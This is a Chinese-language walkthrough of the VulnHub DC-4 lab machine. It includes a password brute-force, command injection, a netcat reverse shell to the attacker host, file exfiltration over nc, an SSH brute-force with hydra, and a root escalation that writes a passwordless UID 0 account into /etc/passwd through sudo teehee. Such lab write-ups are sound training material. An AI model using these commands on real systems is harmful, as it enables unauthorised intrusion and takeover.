- 主机信息
- 实验过程
详情介绍请参考下载地址
任务目标:拿下系统的root账户
靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/
主机信息
DC4:192.168.75.151
Kali:192.168.75.150
实验过程
先发现内网存活主机
arp-scan --interface eth0 192.168.75.1/24
然后查看靶机开放的端口
nmap -A -p- -T4 -v 192.168.75.151
访问80,是一个登录页面
既然遇到登录页面,那就可以尝试看看,是否有弱口令
通过Bp爆破
- 用户名:admin
- 密码:happy
登进后台
毫无疑问,肯定点击“Command”,发现可以执行一些命令
通过Bp抓取数据包并修改命令,发现修改后的命令可以执行
这里我直接反弹Shell
nc -e /bin/bash 192.168.75.150 8888
shell建立成功升级为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
cd /home
发现三个账号的家:charles、jim、sam
最终在jim的家中发现了一个老密码的文件
将这些密码保存下来并对jim进行ssh爆破,因为在信息搜集阶段我们可以看到靶机是开放了22端口
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.75.150 5555 < /home/jim/backups/old-passwords.bak
现在用hydra对jim账号进行SSH爆破
hydra -l jim -P /root/old-passwords.txt ssh://192.168.75.151
通过ssh连接到靶机,执行如下命令:
登入提示:You have mail.
找到了一封root写给jim的邮件
去/var/mail再看看有没有其他有意思的信息,找到了一封charles写给jim的邮件,并且看到了charles的账户密码
这封邮件来得非常妙,是charles写给jim的。因为charles要出去度假了,所以老板叫charles把自己的密码^xHhA&hvim0y给jim。So直接用邮箱传递密码是非常不安全的。
那么我们切换到charles
首先发现jim不能使用sudo权限,难怪靶机还给了我们charles的账户,发现charles可以使用/usr/bin/teehee,并且不需要使用root密码
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee往passwd写入一个root账号即可得到root权限
查看一下这个命令的帮助手册,使用-a参数在/etc/passwd文件里面新建一个有管理员权限的用户
首先来了解一下/etc/passwd的格式
echo "NoCirc1e::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切换用户即可提权成功,并读取flag